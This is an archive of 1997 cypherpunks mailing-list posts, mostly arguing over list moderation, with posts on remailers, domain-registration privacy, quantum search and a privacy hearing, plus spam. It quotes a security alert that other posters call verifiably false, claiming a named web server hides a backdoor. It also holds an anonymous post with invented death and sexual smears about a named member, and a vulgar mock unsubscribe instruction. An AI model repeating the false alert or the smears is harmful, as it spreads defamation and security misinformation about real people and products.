certain views, that the move back to an unfiltered state will mean that
some will use anonymous remailers and nym servers to post even _more_
claims, however outrageous.

This is a predictable effect. Cf. Psychology 101 for an explanation.
Kicking Vulis off the list predictably produced a flood of Vulis
workarounds, and a surge in insults via anonymous remailers. Instituting
censorship of the list triggered a flood of comments critical of the
experiment, and a predictable "testing" of the censorship limits. And,
finally, now that C2Net is threatening legal action to stop
discussion--even in quotes!!--of alleged CENSORED in CENSORED, expect a lot
of repetition of these claims via remailers. And, I predict, claims about
CENSORED will even be spread more widely, e.g., on the Usenet.

(Sadly, I half expect a letter from some lawyers or lawyer larvae saying I
am "suborning libel," or somesuch nonsense. As Sandy would say, "piffle."
Lawyers, take your best shot.)


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 19:04:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Brassard on Grover's Shake
Message-ID: <1.5.4.32.19970208025912.006a41a8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Gilles Brassard writes on Grover's "quantum shake" searching 
algorithm, demonstrates how it would break DES, and assays the 
promise of QC research. He notes that enviable NSA funds favor 
LAQC.

-----

   http://jya.com/qshake.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 14:07:33 -0800 (PST)
To: tcmay@got.net
Subject: Re: Is Sandy really censoring criticisms of Stronghold, his product?
Message-ID: <19970207220720.15530.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Okay, I went through my old mail, and I'm fairly sure this is the
message.  I'm convinced it never went to the flames list, and now that
I've found out I'm on the -unedited list after all, I think it
probably didn't go to the regular cypherpunks list either.  Can people
on the various lists confirm this for me?

Given the total lack of technical content, the flamey nature of the
article, and the fact that it is verifiably false (stronghold source
code is available), I can see people arguing it should have gone to
-flames (though I would probably disagree).  However, I don't want to
debate that.  What I object to more strongly and think is wrong is the
fact that it went to *neither* list.

A lot of people out there are subscribing to the cypherpunks-flames
and cypherpunks lists thinking that they will see everything that gets
rejected (albeit with a substantial delay).  If this is not the case,
it should be made clear.  Otherwise, it's not moderation, but
dishonesty.

--

>From cypherpunks-errors@toad.com  Thu Jan 30 17:26:50 1997
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Security alert!!!
To: cypherpunks@toad.com
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST)
Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST)
Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP;
        id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 30 Jan 97 16:19:19 EST
	for cypherpunks@toad.com
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Lines: 19

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 7 Feb 1997 19:58:48 -0800 (PST)
To: Ed.Falk@Eng.Sun.COM (Ed Falk)
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
In-Reply-To: <199702072349.PAA20677@peregrine.eng.sun.com>
Message-ID: <199702072202.WAA19978@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199702072349.PAA20677@peregrine.eng.sun.com>, on 02/07/97 at 05:49 PM,
   Ed.Falk@Eng.Sun.COM (Ed Falk) said:


>We have enough people who want to have a PGP keysigning session at tommorrow's
>meeting to make it worthwhile.  We'll probably be doing it at 17:00 or
>thereabouts.

Unfortunatly I have too much work to make the 3,000 miles to get there. :(

Would it be possiable at the next meeting to set up a CU-SEE-ME session for
those of us who do not live in the Bay Area?

Thanks,

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I'm an OS/2 developer...I don't NEED a life!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 0000000

iQCVAwUBMvv9D49Co1n+aLhhAQE1lgP/Sh0Mszii6dvSkssMI3rTHllz+EbFrtKk
k3qOPFkBSRbsaSXBTopenUjNpbbHANgzzUJRnekaUJIyZbTGRY9PF+QAFcsF/vXI
2HIjnStiyXdgESPE0YFPRiTzrkR5/18Ga2s20AlWXgaQApSSmIAhwrFWjmi1kQws
y0n+CZwqa0U=
=A+nO
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Veeneman <cypherp@decode.com>
Date: Fri, 7 Feb 1997 21:08:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Congressional cell phone security hearing
Message-ID: <5LHs2D1w165w@decode.com>
MIME-Version: 1.0
Content-Type: text/plain



Hyperbole flew hot and heavy during a February 5 hearing on cellular
telephone privacy chaired by Louisiana Republican Billy Tauzin.  The
House Commerce Subcommittee on Telecommunications, Trade, and Consumer
Protection held a hearing titled "Is anybody listening?  You betcha."

Subcommittee members were shocked, just shocked to learn that,
according to a hyper-animated Thomas Wheeler (president of the
Cellular Telephone Industry Association), Americans are engaged
in "electronic stalking" of cellular telephone users.

Further details of CSPAN pandering and Ed Markey's (D-MA) Humpty Dumpty
imitation ("words mean whatever I want them to mean") elided.


Some notable moments:

Representative Cliff Stearns (R-FL), during a discussion about
encryption, called PGP "a darn good program."

Jay Kitchen, head of the Personal Communications Industry Association,
related an (apocryphal?) story about MI5 requiring 2 Crays to run for
3 days to break a single GSM.


Jim Kallstrom, Assistant Director FBI and head of the New York field
office, woodenly delivered his (IMHO unfocused) testimony and reported
that on the first day of the TWA Flight 800 crash investigation he
determined that the news media knew more than they should, so he
confiscated the cell phones of the FBI agents and locked them away,
under the (reasonable) presumption that reporters were listening to
FBI cell phone calls.

Jimmy also reiterated the FBI line that their new wiretap requirements
were reasonable and necessary to protect American citizens from
terrorists.


Dan
dan@decode.com

--
cypherp@decode.com (Dan Veeneman)
Cryptography, Security, Privacy BBS  +1 410 730 6734   Data/FAX




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 7 Feb 1997 20:45:40 -0800 (PST)
To: ichudov@algebra.com>
Subject: Re: Sandy suppresses truth about his moderation policy
In-Reply-To: <199702080114.TAA06881@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970207233351.3195A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 7 Feb 1997, Igor Chudov @ home wrote:

> Below are some interesting facts implying that:
> 
> 1) Sandy uses a bot to reject articles of people he does not like

I see no evidence to substantiate this claim.  People who would be most likely
to get auto-blocked have managed to get at least one post sent to the moderated
list.

> 2) When I exposed him with an article showing all Received: dates, 
> he
> 	a) rejected the article exposing him

The only thing your previous post proved is that toad.com has a very little
delay between receiving and sending mail to cypherpunks-unedited.  Notice that
the post in question does not have an altered Message-Id and the sender is set
to owner-cypherpunks, not owner-cypherpunks-unedited which appears in all
messages sent to the flames list.

> and
> 	b) changed his moderation software so that Received: headers
> 	   for the cypherpunks-flames do not show the times when 
> 	   messages came in

The modification was made after there was the problem of the received headers
exposing the supposedly secret outgoing destination address of the moderated
list.  This change was certainly made before February 6, the date the post in
question was posted.  Also, John would have made this modification; not Sandy.


Mark


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMvwF/CzIPc7jvyFpAQE0lwf8Dx8bY2WUKDZQ4piOc0XRgY0LpbCOcbXZ
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IkkBDp+RyA1QpTsEU1fQjNJR0LQBoIa/fVKyAzKJSD66tCHHneIvc4IrXAciobE1
9WX+h6r5wBjXkVEI9mgehrprqBRIRaNgURunyCavbXPbiEoS7bflBfKBLurj7OQf
uAERvyX6YYv7ZaycV9Qjx33ozrSrMzARbahx+ryWrO5MUuoZ9fabyeS61xr141Cv
QCPRyxq1Pl2TcJF2otpxpCuzoty4VzEONDib+O+BkNDPo9sGx8a/8w==
=J1Sw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Fri, 7 Feb 1997 14:57:17 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <1.5.4.16.19970207225648.2fff933a@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 1997-02-07 -0800, Ed Falk wrote:
>
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Can anybody give me the address of reliable remailer which accepts
pgp messages.

BTW which remailer was shut down and why?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Fri, 7 Feb 1997 14:59:02 -0800 (PST)
To: zinc@zifi.genetics.utah.edu
Subject: Re: lead remailer is shut down
Message-ID: <1.5.4.16.19970207225846.2fffa470@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


At 11:58 1997-02-07 -0800, Ed Falk wrote:
>
>Can't remailers be written with basic spam safeguards?  I.e. no mass
>crossposts, limited # of posts by each individual client per day, etc.?

Can anybody give me the address of reliable remailer which accepts
pgp messages.

BTW which remailer was shut down and why?








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E-Mail Communications" <freedom@econopromo.com>
Date: Fri, 7 Feb 1997 22:05:46 -0800 (PST)
To: you@alberta.sallynet.com
Subject: Internet  Alert!    Pay for local dial-up??
Message-ID: <199702080516.AAA11248@alberta.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain



*****************************************

INTERNET USERS ALERT!!!   It has come to our attention that several
local telephone companies have petitioned the FCC for permission
to charge Internet Users by the minute for  LOCAL  dial-up telephone 
service.  This would affect every Internet User, including those
using AOL dial-up. 

For more information,  see the FCC site: http://www.fcc.gov/isp.htm.  
Please send an E-Mail to  isp@fcc.gov
to express your outrage at the idea of allowing telephone companies
to charge by the minute for LOCAL dial-up service.  E-Mail comments
must be sent by Feb. 13th, 1997.  This affects every Internet user!!

*******************************************

  - FREEDOM NEWSLETTER -
Feb. 7th,  1997

*******************************************


We realize that some people prefer not to receive commercial
E-Mail.  We only want to keep INTERESTED recipients on our list.

So... If YOU would rather not receive our mail -  HIT REPLY - and type
REMOVE     in the message and  subject  area.  This is an automated
system.  You will be removed from all future mail from us.  Since this
is an automated system, there is no need to say anything else,  as
nobody but the computer will see it anyway!  You will be removed
within 24.  (You must spell   REMOVE   correctly!!!)

*********************************
<for best viewing max your screen to largest size>

*********************************

Standing for FREEDOM, LIBERTY, and AMERICA!
We believe in Freedom of the Press and Speech.
(These freedoms are essential for the development
and growth of the Internet.)

See our "Patriotic Quotes That Make Sense"
at the end of this publication.

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************************************

"HIT REPLY"    INFORMATION SECTION:

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For each FREE information document desired, HIT REPLY - 
and then type the indicated Key Word (s)  in the subject  -and-
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_______________________________

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________________________________

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________________________________

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_________________________________

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___________________________________

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___________________________________

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___________________________________

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___________________________________

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___________________________________
***************************************
***************************************
***************************************

REGULAR RESPONSE SECTION: 
To respond to any of the following   announcements,  DO NOT
HIT REPLY!       Rather,  follow the instructions in each ad. 
If sending an email for FREE information, you must create a 
NEW  email and send it to the address in the ad.  This is very
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You must send a separate request for each information offer.

***************************************
***************************************
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________________________________

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***********************************************

ATTENTION ON-LINE  ADVERTISERS! 
BE A SPONSOR AND GET YOUR MESSAGE OUT TO MILLIONS!

If you would like to place your message before 1/2 million on-line
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For full details, call our office @  919-772-8855  9-5 Eastern Time  -
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***********************************************
Quotes that make sense:

"We tried to provide more for the poor and produced more poor instead.
We tried to remove the barriers to escape poverty, and inadvertently
built a trap"  

--Charles Murray

"Character is doing what's right when nobody's watching"

--Congressman J.C. Watts

"The point to remember is that what the government gives,
it must first take away."

-- John S. Coleman

"We will always remember.  We will always be proud.  We will
always be prepared, so we may always be free."

-- President Ronald W. Reagan  June 6, 1984 -  Normandy, France

"Blessed is the Nation whose God is the Lord"

-- Psalms 33:12

*****************************








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 00:44:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Privacy Problems with the IAHC New TLD Report SLD Policies
In-Reply-To: <199702052017.PAA24113@smarty.smart.net>
Message-ID: <3.0.1.32.19970208004306.00645118@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The International Internet Ad-Hoc Committee released its report
on new Top Level Domains for the Internet.  It's interesting,
and resulted from much political wrangling and religious conflict,
and for the most part I think it's taking a reasonable approach
to the problems, and I'm certainly not going to go postal like
Postmaster Karl Denninger :-)  A few particularly nice features:
	- .nom TLD, for name-based domains
	- Multiple registrars per name space, reducing the monopoly problem
	- trying to keep governments or PTTs from controlling it,
		though it's a bit big-business oriented for stability reasons.
Mostly I wasn't worried, because sensible people were going to make 
sure they didn't do anything totally disastrous.

Apparently I _should_ have been watching more closely, because the SLD
_Second_ Level Domain part has some policies that seriously interfere
with the privacy of potential domain name users.  
References and long quotes are below...

To a large extent, they've been trying to avoid getting stuck in
trademark problems by collecting lots of information and defining
jurisdiction.  
In the process, they're asking you to sign away your first-born child
in return for getting your name in the Yellow Pages(tm),
and they're requiring all the Registrars to reject your application
unless you do.  

The rules are especially inappropriate for the .nom domain,
which is for personal names and such, and don't need overkill.
There's a place for serious high-value commerce behaviour,
and much of this isn't too inappropriate for .firm - but even that
ignores the radical communication-pushed changes in the economy 
that make everybody able to run a worldwide business. 

It's not just that they want your email address (highly reasonable)
or your phone and physical address (ought to be optional) or your 
IP address (they don't ask) or domain name (ok) or digital or written
signature.
It's not even just obnoxious things like demanding that you 
swear (against _my_ religion...) to a bunch of things, like
"the reason for requesting this particular domain name"
or what you're planning to do with the domain name (perfectly reasonable
things to ask for as optional extras, and business may want to reveal these,
but "Decline to State" or "" or "MYOB" are perfectly reasonable responses.)

It's things like designating an agent for service of process, and
"submits to the personal and subject matter jurisdiction and venue of a 
competent tribunal in the country where the registrar resides".
Aside from believing that you ought to be able to choose what governments,
if any, you're going to subject yourself to, I'd also expect that this
would be
annoying to people who don't live in one of the <=28 countries that
get Registrars in them.  And certainly if you're going to designate
someone as an agent for service of process (you can use the Registrar)
there'd better be some contractual language available so you can tell
what you're swearing to.

Is it reasonable to have a policy that users need to indicate 
how they'd like to receive communications about name and trademark disputes?
Sure.  And that they hold the Registrar harmless in such disputes?  Probably.
And which dispute resolution organization they're willing to have
resolve disputes over names (a _much_ milder statement than
"submit to personal and subject matter jurisdiction"....)?  
Yeah, even if the default is "the Registrar can disconnect your name
if you don't respond to trademark complaints in N days."
Certainly the Registrar ought to have some options here.




======================== REFERENCES ===================================
The Final Report is at http://www.iahc.org/draft-iahc-recommend-00.html
	(nice name for a "final" report :-)
The Application Forms for SLDs aren't in the draft on the web page,
	so I'm assuming they're referring to something similar to the
	December draft's Appendix.
Mailing list archives are at http://www.iahc.org/iahc-discuss/

==========================================================================
	QUOTES FROM THE REPORT
==========================================================================
6.1.5 Second-Level Domains
SLD application 
Application for a second-level domain name must include: 
     Sufficient contact and intended use information
     Appointment of an agent for service of process
     Agreement to jurisdiction in the event of trademark litigation.
     Mediation and arbitration clause (discussed in a later section) 

A separate document entitled "SLD Applications" (see section 1.4) contains 
the information that must be included in a SLD application.
Applications submitted electronically must include state of the art 
electronic identification; written applications must be signed by the
applicant, if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

Renewal and non-use 

To promote accountability, discourage extortion and minimize obsolete
entries, 
SLD assignments must be renewed annually. 
Appendix B, attached, includes the information that must be included 
in a renewal application. Renewal applications submitted 
electronically must include state of the art electronic identification; 
written renewal applications must be signed by the applicant, 
if an individual, or by an officer or other legally authorized 
representative if the applicant is an entity. 

In addition to requiring annual renewal, CORE will develop policies 
to ensure the recovery of sub-domains which no longer have an
authoritative source (lame delegations). 

6.2 Discussion

In order to ensure consistency of basic service across registrars, 
certain information is required in all applications for SLDs under
gTLDs. It is desirable that a domain name application include 
sufficient information regarding the applicant and the applicant's intended
use of the domain name to ensure applicant accountability 
and to ensure that sufficient information is available to enable trademark
owners to assess the need for a challenge to the proposed SLD domain. 

================= [more stuff]
================================================
7.1.3 Publication

All applications for SLDs in the gTLDs will be published on a 
publicly available, publicized web site, immediately upon receipt 
by the registrar. Such publication entries will include: 
     Name of the SLD;
     Contact and use information contained in the application;
     A permanent tag or label (created by CORE) indicating whether 
       the applicant chose the option of waiting 60 days prior to
       assignment of the requested SLD or chose to forego the 60 day wait;
     Entry validation using accepted digital signature and timestamping
techniques. 
Those applicants choosing not to wait will not be in a position to claim 
the defensive benefit of the waiting period against a challenge,
at any time, by a trademark owner. 
===================================================


=======================================================================
	APPENDIX FROM DRAFT - SLD APPLICATION REQUIREMENTS
=======================================================================
11.1 Appendix A - SLD Application Requirements

Every application for assignment of a SLD must include the following elements 
(incomplete applications must be returned to the applicant for completion): 

   1.Applicant's name, business or residential address, email address, 
	fax and phone number(s). 
   2.The state or country of incorporation or partnership (if applicable). 
   3.The name and address of a designated agent for service of process 
	where the registrar is located, which may be the applicant
      in the case of an individual. (The applicant may designate the 
	registrar as the agent for service of process.) 
   4.A sworn statement by the individual applicant or by an officer or 
	general partner of a corporate or partnership applicant: 
        1.that there is a bona fide intent to use the domain name publicly 
		within 60 days of registration, and a bona fide intent to
		continue such use in the foreseeable future; 
        2.that the domain name will be used for [fill in the blank, e.g., 
		"for a web site to advertise applicant's candy 
		manufacturing business"]. This may be a broad statement and is 
		not intended in any way to restrict actual use. However,
		to the extent that a commercial use is intended, this statement 
		should identify the industry in which the use is intended to
		be made and should indicate which of the following uses will 
		be made: web site, email, bulletin board and/other describe); 
        3.that the applicant believes that the intended use of the 
		domain name will not infringe any rights of any other party; 
        4.that the reason for requesting this particular domain name is 
		that it conforms to [check one of the following]: 
	     ___ applicant's company name or variation thereof 
	     ___ applicant's trademark or variation thereof 
	     ___ individual applicant's name or variation thereof 
	     ___ other (provide full explanation) 

   1.that the applicant submits to the personal and subject matter
	jurisdiction and venue of a competent tribunal in the country 
	where the registrar resides for purposes of any action brought 
	under trademark law, unfair competition laws, or similar/related 
	laws arising out of actual or intended use of the domain name 
	applied for; and applicant waives all rights to challenge such personal
	jurisdiction, subject matter jurisdiction and/or venue. 

============================================================================
========





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 8 Feb 1997 01:12:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Successfully Routing Around Censorship In Italy
Message-ID: <3.0.1.32.19970208010916.006169f0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In Cu Digest, #9.07 -- see Cu Digest Homepage: 
	http://www.soci.niu.edu/~cudigest/  *
is a nice article on how an Italian mailing list 
was blocked by the University bureaucracy.
    LISA (Lista Italiana Sull'Accesso a Internet) is
    "an unmoderated area devoted to discussion about social, cultural
    and economic aspects related to the development of the Internet in Italy."

Two days later they were up and running on a machine in Utah.

> Choosing censorship instead of an open debate is 
> something we will never be willing to silently accept.
> Laura Caponi
> Owner of LISA
> Lista Italiana Sull'Accesso a Internet


* This issue isn't on the web page quite yet....


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 7 Feb 1997 23:59:31 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: anonymous remailers
In-Reply-To: <199702062301.PAA02208@toad.com>
Message-ID: <0mz38b200YUh0Qosg0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com> writes:
> Charley Musselman writes:
> >  Does anyone know the answer?  Specifically, how can we choose
> >  a trusted remailer?
> 
> The answer is to run your own remailer.  Make sure your chain includes your  
> remailer at least once.  If you can't trust yourself, who can you trust?

Ummm, if you run your own remailer, and don't get lots of people to
use it, then traffic analysis will reveal that you are the sender
quite quickly. It will pretty much make everything in the chain before
your remiler useless. If you send your message through remailers a, b,
c, and d like this:

you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen

and only you use c, then your effective chain is:

someone who could only be you -> d -> alt.drugs.and-other-various-horsemen

This chain is weak indeed.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 8 Feb 1997 00:15:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: NYC meeting?
Message-ID: <199702080816.DAA01807@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

are there any Cypherpunks-Meetings in NYC?

Ciao

Harka

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Version: 2.6.2

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=Cnr+
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba ROM DOS <bubba@dev.null>
Date: Sat, 8 Feb 1997 06:24:54 -0800 (PST)
To: steve <steve@idoru.demon.co.uk>
Subject: Re:
In-Reply-To: <199702062311.PAA02460@toad.com>
Message-ID: <32FC6433.7713@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


steve wrote:
> 
> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!

  To unsubscribe, send 2,000 messages to cypherpunks@toad.com, with a
message body that says,
  "John Gilmore is a cocksucker! (spit, fart)"

  This method has proven effective in the past.

Bubba






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba ROM DOS <bubba@dev.null>
Date: Sat, 8 Feb 1997 06:23:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199702062311.PAA02460@toad.com>
Message-ID: <32FC645C.7828@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


steve wrote:
> 
> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!


  To unsubscribe, send 2,000 messages to cypherpunks@toad.com, with a
message body that says,
  "John Gilmore is a cocksucker! (spit, fart)"

  This method has proven effective in the past.

Bubba






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TheSecret@WORLD.STD.COM
Date: Sat, 8 Feb 1997 03:24:30 -0800 (PST)
To: TheSecret@WORLD.STD.COM
Subject: A WONDERFUL "FREE GIFT" FOR YOU !
Message-ID: <199702081123.DAA16380@mail-gw.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 8 Feb 1997 04:16:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Montgolfiering Spoof
Message-ID: <199702081216.EAA25951@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Desperado Vampire K]ock[ Of The Month died of AIDS last night
with his prepubescent lover.

         \\\
        (0 0)
    _ooO_(_)_Ooo____ Desperado Vampire K]ock[ Of The Month






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Fri, 7 Feb 1997 20:31:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Frightening Dangers of Moderation
Message-ID: <19970208043115.2364.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Well, folks, tonight I have witnessed the frightening dangers of
moderation and censorship first-hand, and would like to tell you what
has happened.  I think there is an important lesson to be learned from
these incidents.

Before I explain what has happened, I want to make one thing
absolutely clear.  Though I've thought the moderation of cypherpunks
was a terrible idea from the start and am even more convinced of it
now, I don't assign any blame to Sandy.  I believe he offered to
moderate the list with the best of intentions, and I sincerely
appreciate his efforts to try to revive what was once a fantastic
mailing list, even if in my opinion those efforts have backfired.

Sandy has been a valuable advocate of cypherpunk beliefs and a lively
contributor to cypherpunks list for a long time.  Though the
moderation experiment has resulted in some terrible consequences, we
can't blame him for what has happened.  If the events I have witnessed
tonight occured with such a high-standing member of the cypherpunks
community in charge, the cause of them can only be the very nature of
moderation and censorship.  I don't think any of us could have done
much better in Sandy's shoes.

Now, what happened tonight?  As some of you may recall, a month or so
ago I vehemently argued against the elimination of the
cypherpunks-unedited mailingt list.  Some people (though no one
associated with toad.com) were claiming that 3 mailing lists might be
too much load, and that having cypherpunks and cypherpunks-flames
would be enough.  I argued that not only would the delay of waiting
for a decision put alternate cypherpunks moderators at a disadvantage,
it would make it farm more difficult to convince people of the
moderator's honesty as there would be no guarantee that messages made
it to either list.  Fortunately, cypherpunks-unedited did get created
(it seems no one "in charge" ever intended not to create it).

Well, as it turns out, a number of messages have made it neither to
cypherpunks nor to cypherpunks-flames.  Making matters worse, however,
not only are certain messages being suppressed from both lists, but
even messages mentioning that fact get suppressed from both the
cypherpunks and the cypherpunks-flames lists!

Here's exactly what happened.  I was beginning to believe that Dmitri
Vulis had sent an (admitedly objectionable) message to the cypherpunks
mailing list, but that the message had gone to neither the cypherpunks
nor the cypherpunks-flames lists.  Since I was under the impression
that every article was supposed to go to one list or the other, and
many people probably still believe that, I mentioned this somewhat
startling fact on the cypherpunks mailing list, I believe in response
to a post by Tim May on the same subject.

Tim replied (in a message Cc'ed to cypherpunks--though I don't think
it went anywhere but to -unedited), asking me in the message, "Can you
send to the list, with a copy to me, the articles CENSOREDCENSOREDCENS
OREDCENSOREDCENSORE?"  I therefore went back through my mail archives
and found a copy of the message that I believed had gone to neither
mailing list.  I sent it to Tim and to cypherpunks.  I prepended a few
paragraphs in which I asked people to confirm that the message had
gone to neither mailing list.  Among other things in those paragraphs,
I stated that Vulis's message was "verifiably false".  It was clear
from the context that I was forwarding this message to ask people
which lists it had gone to, not because I believed the content to be
correct or even at all convincing or interesting.  That message I
sent, quoting Vulis's, immediately follows this message, after the
line '========'.

Then, tonight, I received a message from Sandy, which I include below
a second '========' marker.  In that letter, Sandy had explicitly
aknowledged not only that he had sent Vulis's letter to neither
mailing list, but that he wouldn't send my letter to either mailing
list, either!  He claimed that he couldn't forward Vulis's message
because it was libel, and accused me of committing libel simply by
quoting Vulis's message, even though I explicitly stated that Vulis's
message was verifiably false.

Well, this travesty must exposed, even if I can't make known all the
details for fear of libel charges.  I am therefore forwarding
everything I can to the cypherpunks mailing list, for all to see.  As
you can see, Vulis made unfounded and incorrect charges that a
particular system contained a security hole.  Believe me, if I could
get into the details of the case I could convince you easily that his
claim is not true.  However, since even quoting that claim apparently
opens me up to charges of libel, I can't give you the details.  Thus,
I have censored (by overriting original text with the letters
CENSORED) any portion of quoted messages that might give you an
indication of what system Vulis actually claimed had a security hole.

This censorship should not, however, affect my main point, and the
lesson that I hope we can all take away from this.  When it comes down
to it, the details of this case do not matter.  What does matter is
that even when the "good guys" attempt benign censorship, it can have
frighteningly far-reaching effects on people's ability to discuss
otherwise reasonable topics such as the mechanics of the cypherpunks
list.  I generally dislike censorship and moderation, but the
consequences of the cypherpunks experiment have gone far beyond
anything I could have imagined.

In closing, let me reiterate that I don't think most of this is
Sandy's, John's, or anyone else's fault.  Given the knowledge I have
of this case, I believe Sandy has unwittingly found himself ensnarled
in a nasty legal situation where, for fear of legal reprisal he must
block articles that he has a moral obligation to send to
cypherpunks-flames.  I certainly don't envy his position.

[To moderator Sandy:  I believe we must get the content of this
message to the main cypherpunks mailing list.  I have done everything
I can to ensure that the message contains no libel.  If, for some
